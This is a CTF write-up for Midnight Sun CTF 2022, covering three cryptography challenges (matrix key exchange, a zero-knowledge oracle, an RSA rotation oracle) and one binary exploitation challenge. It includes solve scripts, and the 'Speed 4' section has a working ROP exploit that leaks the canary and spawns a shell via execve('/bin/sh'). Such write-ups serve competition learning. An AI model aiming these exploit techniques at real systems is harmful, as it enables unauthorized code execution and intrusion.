Midnight Sun CTF 2022 Writeup

Mon Apr 04 2022

    I participated Midnight Sun CTF 2022 as a member of WreckTheLine. The results were 18th/346.

    Here is my writeup for challs I solved.

    Crypto

    kompot_512

    15 solves

    challenge.sage
    '''
    2   bag of fruit, mixed, dried
    1   bag prunes
    2   litre of water
    1   spoon of clove
    1/2 lemon
    
    '''
    
    p = random_prime(2^512)
    R.<x> = PolynomialRing(GF(p))
    
    def F(f: R, k: Integer) -> R:
        g = x
        while k > 0:
            if k % 2 == 1:
                g = f(g)
            k = k // 2
            f = f(f)
        return g
    
    f = (1*x+2)/(3*x+4)
    g = (2*x+1)/(13*x+37)
    
    x0, x1 = randint(0, 2^128), randint(0, 2^128)
    y0, y1 = randint(0, 2^128), randint(0, 2^128)
    
    A = F(f, x0)(F(g, x1))
    B = F(f, y0)(F(g, y1))
    C = F(f, x0 + y0)(F(g, x1 + y1))
    
    with open("output.txt", "w") as f:
        f.write("p = %s\n" % p)
        f.write("A = %s\n" % A)
        f.write("B = %s\n" % B)
    
    print("My kompot is ready: midnight{%d}" % (C(0)))

    ff and gg are functions and some values are calculated like (f(f))(f(g))(f(f))(f(g)) by F. It's difficult to handle this operation as is. Let's first analyze it.

    Consider f=a1x+a2a3x+a4,g=b1x+b2b3x+b4f = \frac{a_1 x + a_2}{a_3 x + a_4}, g = \frac{b_1 x + b_2}{b_3 x + b_4} and calculate f(g)f(g).

    f(g)=a1b1x+b2b3x+b4+a2a3b1x+b2b3x+b4+a4=(a1b1+a2b3)x+(a1b2+a2b4)(a3b1+a4b3)x+(a3b2+a4b4)\begin{align*} f(g) &= \frac{a_1 \frac{b_1 x + b_2}{b_3 x + b_4} + a_2}{a_3 \frac{b_1 x + b_2}{b_3 x + b_4} + a_4} \\ &= \frac{(a_1 b_1 + a_2 b_3) x + (a_1 b_2 + a_2 b_4)}{(a_3 b_1 + a_4 b_3) x + (a_3 b_2 + a_4 b_4)} \end{align*}

    Looking carefully, you can find this is like matrix multiplication. Let A=(a1a2a3a4)A = \left( \begin{array}{cc} a_1 & a_2 \\ a_3 & a_4 \end{array}\right), B=(b1b2b3b4)B = \left( \begin{array}{cc} b_1 & b_2 \\ b_3 & b_4 \end{array}\right) and f(g)=c1x+c2c3x+c4f(g) = \frac{c_1 x + c_2}{c_3 x + c_4} and C=(c1c2c3c4)C = \left( \begin{array}{cc} c_1 & c_2 \\ c_3 & c_4 \end{array}\right). Then C=ABC = AB. So we can map from a fraction to a matrix. Note that matrix has arbitrariness in the product of constants (sagemath treat it like a3=1a_3 = 1).

    Using this notation, let's consider F. Let f be a=(1234)a = \left( \begin{array}{cc} 1 & 2 \\ 3 & 4 \end{array}\right) and b=(211337)b = \left( \begin{array}{cc} 2 & 1 \\ 13 & 37 \end{array}\right). Then the function F(f, x0) is described as ax0a^{x_0}. So this challenge is translated as follows: Given two matrices ax0bx1,ay0by1a^{x_0} b^{x_1}, a^{y_0} b^{y_1}, find ax0+y0bx1+y1a^{x_0 + y_0} b^{x_1 + y_1}. Since a,ba, b are not commutative, it's not obvious to find it.

    After some googling, I found this type of problem is known as Stickel's key exchange protocol. Next I found this article stating how to decrypt it. The main idea is as follows: when given are matrices a,ba, b and u=ax0bx1,v=ay0by1u = a^{x_0} b^{x_1}, v = a^{y_0} b^{y_1}, where x0,x1,y0,y1x_0, x_1, y_0, y_1 are unknown, you can calculate ax0+y0bx1+y1a^{x_0 + y_0} b^{x_1 + y_1} when you find x,yx, y such that ax=xa,by=yb,u=xyax = xa, by = yb, u = xy. It's because ax0+y0bx1+y1=ay0uby1=ay0xyby1=xay0by1y=xvya^{x_0 + y_0} b^{x_1 + y_1} = a^{y_0} u b^{y_1} = a^{y_0} xy b^{y_1} = x a^{y_0} b^{y_1} y = xvy (rhs is known).

    I could find such x,yx, y by the method described in the article above (see chapter 4).

    solve.sage
    a = matrix(GF(p), [[1, 2], [3, 4]])
    b = matrix(GF(p), [[2, 1], [13, 37]])
    u = matrix(GF(p), [[1862315654158688869445729098619544799767914409222262298343789666937748284078116837226153354276423115494199511730581944141272923224308137441803678328652676, 1886064375836034840142860936845130575100861943319047776615196816978379039225633008371217989839215828506878694852860682181613624391870390057743279109936146], [1, 2018973312548033623066299353985536867301042832572544233315161976441530811456010904800834151744635603048866029559947352208513799007609932454902351226287612]])
    u_inv = u.inverse()
    
    PR_.<y00, y01, y10, y11> = PolynomialRing(GF(p))
    y = [[y00, y01], [y10, y11]]
    
    
    def matrix_product(A, B):
        return [[A[0][0] * B[0][0] + A[0][1] * B[1][0], A[0][0] * B[0][1] + A[0][1] * B[1][1]], [A[1][0] * B[0][0] + A[1][1] * B[1][0], A[1][0] * B[0][1] + A[1][1] * B[1][1]]]
    
    
    rhs = matrix_product(matrix_product(a, y), u_inv)
    tmp = u_inv * a
    lhs = matrix_product(y, tmp)
    polys = [lhs[0][0] - rhs[0][0], lhs[0][1] - rhs[0][1], lhs[1][0] - rhs[1][0], lhs[1][1] - rhs[1][1]]
    
    lhs = matrix_product(y, b)
    rhs = matrix_product(b, y)
    polys += [lhs[0][0] - rhs[0][0], lhs[0][1] - rhs[0][1], lhs[1][0] - rhs[1][0], lhs[1][1] - rhs[1][1]]
    
    I = PR_.ideal(polys)
    basis = I.groebner_basis()
    # sage: basis[0]
    # y00 + 2823144850113056351625081820301823927631100448186286059833922790254056088323172650727788116013822989563088344399811491876038709043062738353303204256754853*y11
    # sage: basis[1]
    # y01 + 2092552437376426232819470347070068430509541278572335708668229054944967553134648915010158162205489669380754562156034362395383877192567308640545682774225916*y11
    # sage: basis[2]
    # y10 + 1849021633130882859884266522659483264802354888701018924946331143175271374738474336437614844269378562653309968074775319235165599909068832069626508946716270*y11
    y11 = 1
    y10 = -1849021633130882859884266522659483264802354888701018924946331143175271374738474336437614844269378562653309968074775319235165599909068832069626508946716270 % p
    y01 = -2092552437376426232819470347070068430509541278572335708668229054944967553134648915010158162205489669380754562156034362395383877192567308640545682774225916 % p
    y00 = -2823144850113056351625081820301823927631100448186286059833922790254056088323172650727788116013822989563088344399811491876038709043062738353303204256754853 % p
    y = matrix(GF(p), [[y00, y01], [y10, y11]])
    x_inv = y * u_inv
    x = x_inv.inverse()
    
    v = matrix(GF(p), [[2477394867395824278867886971831335517996362882807219284195631610174019275371358912732296452954721250133176647989002311297549405379103903792349676765146225, 2040810311132675343235393925283389647607439331436941665496443753775265935891731269825908055031216551265890834776911988625202487191269201707297351486226785], [1, 895438207293722465737529431198991226585025118671333535676494582773742283333650849930234578880250608882302630413898903347122190753133069996224669181368029]])
    C = x * v * y
    print(C[0, 1] / C[1, 1])

    midnight{3376861921537964672541400365700467193751583514806849485754729332434511031717727819872760853068826617376545669091237756749178566789525020268534935958343010}

    BabyZK

    19 solves

    babyzk.py
    #!/usr/bin/python3
    
    from sys import stdin, stdout, exit
    from secrets import randbelow
    from gmpy import next_prime
    
    from flag import FLAG
    
    
    class BabyZK:
    
        def __init__(self, degree, nbits):
            self.p = self.__safeprime(nbits)
            self.degree = degree
            self.m = [randbelow(self.p-1) for i in range(self.degree)]
            self.g = 2 + randbelow(self.p-3)
            self.ctr = 0
    
        def __safeprime(self, nbits):
            stdout.write("Generating safeprime...")
            p = -1
            while True:
                q = next_prime(randbelow(2 * 2**nbits))
                p = 2*q + 1
                if p.is_prime():
                    break
            return p
    
        def __eval(self, x: int) -> int:
            y = 0
            for a in self.m:
                y += y * x + a
            return y % (self.p-1)
    
        def prover(self, x: int) -> int:
            if self.ctr > self.degree + 1:
                raise Exception("Sorry, you are out of queries...")
            self.ctr += 1
            return int(pow(self.g, self.__eval(x), self.p))
    
        def verify(self, x: int, u: int):
            if not u < self.p or u < 0:
                raise Exception("Oof, this is not mod p...")
            if int(pow(self.g, self.__eval(x), self.p)) != u:
                raise Exception("No can do...")
    
    
    bzk = BabyZK(15, 1024)
    
    def prove():
        stdout.write("> ")
        stdout.flush()
        challenge = int(stdin.readline())
        stdout.write("%d\n" % bzk.prover(challenge))
        stdout.flush()
    
    def verify():
        for i in range(100):
            challenge = randbelow(bzk.p)
            stdout.write("%d\n" % challenge)
            stdout.flush()
            response = int(stdin.readline())
            bzk.verify(challenge, response)
        stdout.write("%s\n" % FLAG)
        stdout.flush()
    
    banner = lambda: stdout.write("""
    1) Query the prover oracle.
    2) Prove to verifier that you know the secret.
    3) Exit.
    """)
    
    choices = {
        1: prove,
        2: verify,
        3: exit
    }
    
    banner()
    stdout.flush()
    
    while True:
        try:
            choice = stdin.readline()
            choices.get(int(choice))()
        except Exception as e:
            stdout.write("%s\n" % e)
            stdout.flush()
            exit()

    When you send xx, the oracle calculates eval(x)=icimimodp1\mathrm{eval}(x) = \sum_i c_i m_i \mod p-1 and geval(x)modpg^{\mathrm{eval}(x)} \mod p (only 17 times). You need to find the oracle output when xx is given.

    Since we don't know all parameters, let's start to find pp. Let i-th inputs be xix_i and the results of eval(x_i) be Ei=jcijmjE_i = \sum_j c_{ij} m_j and the result of prover be Gi=gEiG_i = g^{E_i}. The summation j\sum_j will be omitted for brevity. If you find a certain value AA such that you can describe it in two ways like A=iGixi=iGiyiA = \prod_i G_i^{x_i} = \prod_i G_i^{y_i}, then the difference of the two should be a multiple of pp. From this fact, you can calculate pp by gcd of many two pairs that describe certain values.

    But how can you find such a value? We only know cij,Gic_{ij}, G_i. Since you know cijc_{ij}, you can calculate xix_i such that i,jxicijmj=m0\sum_{i, j}x_i c_{ij} m_j = m_0. The rhs is just an example, you can choose anything like m14m_{14} or m1+m2m_1 + m_2. Also you can find such xix_i in many ways because 17 (oracle times) > 15 (mm dimension). Since iGixi=gixiEi=gi,jxicijmj\prod_i G_i^{x_i} = g^{\sum_i x_i E_i} = g^{\sum_{i, j}x_i c_{ij} m_j}, you can say iGixi=iGiyimodp\prod_i G_i^{x_i} = \prod_i G_i^{y_i} \mod p if i,jxicijmj=i,jyicijmj\sum_{i, j}x_i c_{ij} m_j = \sum_{i, j}y_i c_{ij} m_j. Therefore you can find a multiple of pp and find pp by repeating this.

    Remark that found xix_i are in general not positive integers. Since you don't know pp for now, you cannot calculate like Gi1G_i^{-1} or Gi0.5G_i^{0.5}. To avoid this, you should modify the rhs of i,jxicijmj=m0\sum_{i, j}x_i c_{ij} m_j = m_0. For example, when you find 0.5c02m2=(1)c13m3+c24m4=m00.5 c_{02} m_2 = (-1) c_{13} m_3 + c_{24} m_4 = m_0, you should modify it into c02m2=(2)c13m3+2c24m4=2m0c_{02} m_2 = (-2) c_{13} m_3 + 2c_{24} m_4 = 2m_0 and then c02m2+2c13m3=2c24m4=2m0+2c13m3c_{02} m_2 + 2c_{13} m_3 = 2c_{24} m_4 = 2m_0 + 2c_{13} m_3.

    After pp is found, it seems you can find gmig^{m_i} by linear calculation above. But it's impossible I think. Considering rows of the matrix cijc_{ij} in mod 2, you know there are two patterns [0, 0, ..., 0, 0, 1] or [1, 1, ..., 1, 1]. Therefore it's essentially impossible to determine the parity of gmig^{m_i} except for gm14g^{m_{14}}. But there is no problem, because you don't use gmig^{m_i} as is.

    solve.sage
    import random
    from pwn import remote, context
    
    context.log_level = "DEBUG"
    
    io = remote("babyzk-01.hfsc.tf", 4590)
    io.recvuntil(b"Exit.\n")
    
    def send1(x):
        io.sendline(b"1")
        io.sendlineafter(b"> ", str(x).encode())
        return int(io.recvline())
    
    
    proves = []
    for x in range(-9, 8):
        proves.append(send1(x))
    
    
    PR = PolynomialRing(ZZ, names=[f"m{i}" for i in range(15)])
    m = PR.gens()
    coeffs = []
    for x in range(-9, 8):
        y = 0
        for mi in m:
            y += y * x + mi
        coeffs.append([y.coefficient(mi) for mi in m])
    C = matrix(ZZ, coeffs)
    
    
    def find_p_multi(target_idx, used_list, p_multi=None):
        n = len(used_list)
        assert n == 2
        t_list = []
        v_list = []
        for used in used_list:
            t = vector(ZZ, [1 if i == target_idx else 0 for i in range(15)])
            v = C[used].solve_left(t)
            t *= v.denominator()
            v *= v.denominator()
            t_list.append(t[target_idx])
            v_list.append(v)
    
        Cs = [[0] * 17 for _ in range(n)]
        lcm_t = lcm(t_list)
        for idx in range(n):
            for i in range(15):
                Cs[idx][used_list[idx][i]] = v_list[idx][i] * (lcm_t // t_list[idx])
        Cs = list(zip(*Cs))
        Cs_modified = []
        for i in range(17):
            tmp = min(Cs[i])
            Cs_modified.append(tuple([int(Cs[i][idx] - tmp) for idx in range(n)]))
        print(Cs_modified)
        res_list = [1] * n
        for idx in range(n):
            for i in range(17):
                print(i)
                if p_multi is None:
                    res_list[idx] *= proves[i] ** Cs_modified[i][idx]
                else:
                    res_list[idx] *= pow(proves[i], Cs_modified[i][idx], p_multi)
        return int(res_list[1] - res_list[0])
    
    
    target_idx = 14
    used0 = list(range(15))
    used1 = [0, 1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14, 15]
    used_list = [used0, used1]
    mp = find_p_multi(target_idx, used_list)
    
    target_idx = 14
    used0 = list(range(15))
    used1 = [0, 1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 15, 16]
    used_list = [used0, used1]
    tmp = find_p_multi(target_idx, used_list)
    tmp = gcd(mp, tmp)
    if tmp == 0:
        tmp = mp
    mp = int(tmp)
    
    
    
    while True:
        if mp.bit_length() < 10000:
            break
        target_idx = random.choice(range(15))
        used_list = [random.sample(range(17), 15) for _ in range(2)]
        if mp.bit_length() < 10 ** 5:
            tmp = find_p_multi(target_idx, used_list, p_multi=mp)
        else:
            tmp = find_p_multi(target_idx, used_list)
        tmp = gcd(mp, tmp)
        if tmp == 0:
            tmp = mp
        mp = int(tmp)
    
    
    def simple_factor(x):
        primes = prime_range(0, 10**6)
        for prime in primes:
            while x % prime == 0:
                x //= prime
        return x
    
    
    mp = int(simple_factor(mp))
    
    p = Integer(mp)
    
    ti = vector(Zmod(p - 1), [0] * 15)
    Cp = C.change_ring(Zmod(p - 1))
    Z = Zmod(p)
    
    
    vs = []
    for j in range(15):
        ti[j] = 2
        vs.append(Cp.solve_left(ti))
        ti[j] = 0
    
    gm = []
    for v in vs:
        res = Z(1)
        for i in range(17):
            res *= pow(Integer(proves[i]), v[i], p)
        gm.append(Z(res).sqrt())
    
    if gm[-1] == p - proves[8]:
        gm[-1] = Z(proves[8])
    if prod(gm) == p - proves[9]:
        gm[0] *= -1
    
    res = 1
    for i in range(15):
        res *= gm[i] ** C[7][i]
    
    PR = PolynomialRing(Zmod(p - 1), names=[f"m{i}" for i in range(15)])
    m = PR.gens()
    
    
    def send2():
        x = int(io.recvline())
    
        y = 0
        for mi in m:
            y += y * x + mi
        coeff = [y.coefficient(mi) for mi in m]
    
        res = 1
        for i in range(15):
            res *= gm[i] ** coeff[i]
        io.sendline(str(res).encode())
    
    
    io.sendline(b"2")
    for _ in range(100):
        send2()
    
    print(io.recvline())

    midnight{n0t_h4rd_3ven_w1th0ut_modulu5}

    Pelle's Rotor-Supported Arithmetic

    35 solves

    pelles_rotor_supported_arithmetic.py
    #!/usr/bin/python3
    from sys import stdin, stdout, exit
    from flag import FLAG
    from secrets import randbelow
    from gmpy import next_prime
    
    p = int(next_prime(randbelow(2**512)))
    q = int(next_prime(randbelow(2**512)))
    n = p * q
    e = 65537
    
    phi = (p - 1)*(q - 1)
    d = int(pow(e, -1, phi))
    d_len = len(str(d))
    
    print("encrypted flag", pow(FLAG, 3331646268016923629, n))
    stdout.flush()
    
    ctr = 0
    def oracle(c, i):
        global ctr
        if ctr > 10 * d_len // 9:
            print("Come on, that was already way too generous...")
            return
        ctr += 1
        rotor = lambda d, i: int(str(d)[i % d_len:] + str(d)[:i % d_len])
        return int(pow(c, rotor(d, i), n))
    
    banner = lambda: stdout.write("""
    Pelle's Rotor Supported Arithmetic Oracle
    1) Query the oracle with a ciphertext and rotation value.
    2) Exit.
    """)
    
    banner()
    stdout.flush()
    
    choices = {
        1: oracle,
        2: exit
    }
    
    while True:
        try:
            choice = stdin.readline()
            print("c:")
            stdout.flush()
            cipher = stdin.readline()
            print("rot:")
            stdout.flush()
            rotation = stdin.readline()
            print(choices.get(int(choice))(int(cipher), int(rotation)))
            stdout.flush()
        except Exception as e:
            stdout.write("%s\n" % e)
            stdout.flush()
            exit()

    If you find dd (and also p,qp, q), it's easy to decrypt the encrypted flag.

    I divide the solution into 3 steps.

    • find dlend_{len}
    • find nn
    • find dd

    find dlend_{len} Since rotor(d, i) = rotor(d, i + d_len) and dlend_{len} is around 308, you can check input = d_len if rotor(d, 0) = rotor(d, input).

    find nn When c = -1 and rotor(d, i) is odd, oracle should output n1n - 1. From this we can find nn

    find dd For brevity I assume dlen=308d_{len} = 308.

    Let rotor(d, i) be did_i and d0=d=j=0307aj10jd_0 = d = \sum_{j=0}^{307} a_j 10^j. Then di=j=0307aj10(j+i)mod308d_i = \sum_{j=0}^{307} a_j 10^{(j + i) \mod 308}. To erase many aja_j, 10didi+1=a307i(103081)10d_i - d_{i+1} = a_{307-i}(10^{308} - 1). Since we know cdic^{d_i} and 0aj<100 \le a_j < 10, we can find a307ia_{307-i} by brute force. By repeating this from i=0i = 0 to i=307i = 307, you can find dd.

    solve.sage
    from Crypto.Util.number import long_to_bytes
    from pwn import remote
    from tqdm import tqdm
    
    io = remote("pelle-01.hfsc.tf", 4591)
    io.recvuntil(b"encrypted flag ")
    encrypted_flag = int(io.recvline())
    io.recvuntil(b"Exit.\n")
    
    
    def send(c, rot):
        io.sendline(b"1")
        io.recvline()
        io.sendline(str(c).encode())
        io.recvline()
        io.sendline(str(rot).encode())
        return int(io.recvline())
    
    
    base = send(2, 0)
    d_len = None
    for i in range(305, 310):
        tmp = send(2, i)
        if tmp == base:
            d_len = i
            break
    assert d_len is not None
    
    for i in range(100):
        base = send(-1, i)
        if base != 1:
            n = base + 1
            break
    
    e = 0x10001
    C = 2
    
    results = [send(C, i) for i in tqdm(range(d_len))]
    saved_results = results.copy()
    results.append(results[0])
    
    ans = 0
    for i in range(d_len):
        ans *= 10
        t0 = pow(results[i], 10, n)
        t1 = pow(results[i+1], -1, n)
        powC = pow(C, 10**d_len - 1, n)
        for j in range(10):
            if pow(powC, j, n) == t0 * t1:
                print("found!", i, j)
                ans += j
                break
        else:
            print("error")
    
    
    d = ans
    r = e * d - 1
    k = 0
    while r % 2 == 0:
        r //= 2
        k += 1
    t = r
    print(k, t)
    assert 2 ** k * t == e * d - 1
    
    m = 7
    
    while k >= 0:
        res = pow(m, 2 ** k * t, n)
        if res == 1:
            k -= 1
            continue
        p = gcd(n, res + 1)
        q = gcd(n, res - 1)
        break
    
    phi = (p - 1) * (q - 1)
    d_flag = int(pow(3331646268016923629, -1, phi))
    print(long_to_bytes(int(pow(encrypted_flag, d_flag, n))))

    midnight{twist_and_turn}

    Pwn

    Speed 4

    25 solves

    This is a simple ROP chall.

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    There is execve in plt, so the goal is call it with appropriate arguments.

    There are some information in the stack like base address, stack address. You can leak them by input of an arbitrary string before the address you want to know. There is no ROP gadget of pop rdx. To set 0 to rdx, I used printf.

    solve.py
    from pwn import *
    
    
    io = remote("speed-04.hfsc.tf", 34500)
    
    io.sendlineafter(b"b0f: ", b"A" * 56)
    io.recvuntil(b"xfl: ")
    ret = io.recvline()
    addr_base = u64(ret[56: 62] + b"\x00\x00") - 0x1140
    addr_execve = addr_base + 0x1120
    print(f"{addr_base:#x}")
    print(f"{addr_execve:#x}")
    
    io.sendlineafter(b"b0f: ", b"A" * 64)
    io.recvuntil(b"xfl: ")
    ret = io.recvline()
    # 0x7fffffffe620 を見ている、0x7fffffffe4e0 を指したい
    addr_input = u64(ret[64: 70] + b"\x00\x00") - (0x620 - 0x4e0)
    print(f"{addr_input:#x}")
    
    io.sendlineafter(b"b0f: ", b"A" * 73)
    io.recvuntil(b"xfl: ")
    ret = io.recvline()
    canary = b"\x00" + ret[73:80]
    
    addr_pop_rdi_ret = addr_base + 0x00000000000015a3
    addr_pop_rsi_pop_r15_ret = addr_base + 0x00000000000015a1
    
    payload = b""
    payload += b"/bin/sh\x00"
    payload += b"A" * 64
    payload += canary
    payload += b"A" * 8
    payload += p64(addr_pop_rdi_ret)  # pop rdi ; ret
    payload += p64(addr_input)
    payload += p64(addr_pop_rsi_pop_r15_ret)
    payload += p64(0)
    payload += p64(0)
    payload += p64(addr_base + 0x10f0)  # printf で rdx = 0 に。これを最初にすると buffer の何かで怒られてしまうのでこの後もう一度 rdi, rsi をセットし直す
    payload += p64(addr_pop_rdi_ret)  # pop rdi ; ret
    payload += p64(addr_input)
    payload += p64(addr_pop_rsi_pop_r15_ret)
    payload += p64(0)
    payload += p64(0)
    payload += p64(addr_execve)
    print(payload)
    io.sendlineafter(b"b0f: ", payload)
    io.sendlineafter(b"b0f: ", b"")
    io.interactive()

    midnight{79f600fc12e44da3beb82e4fc31d270b}

      ;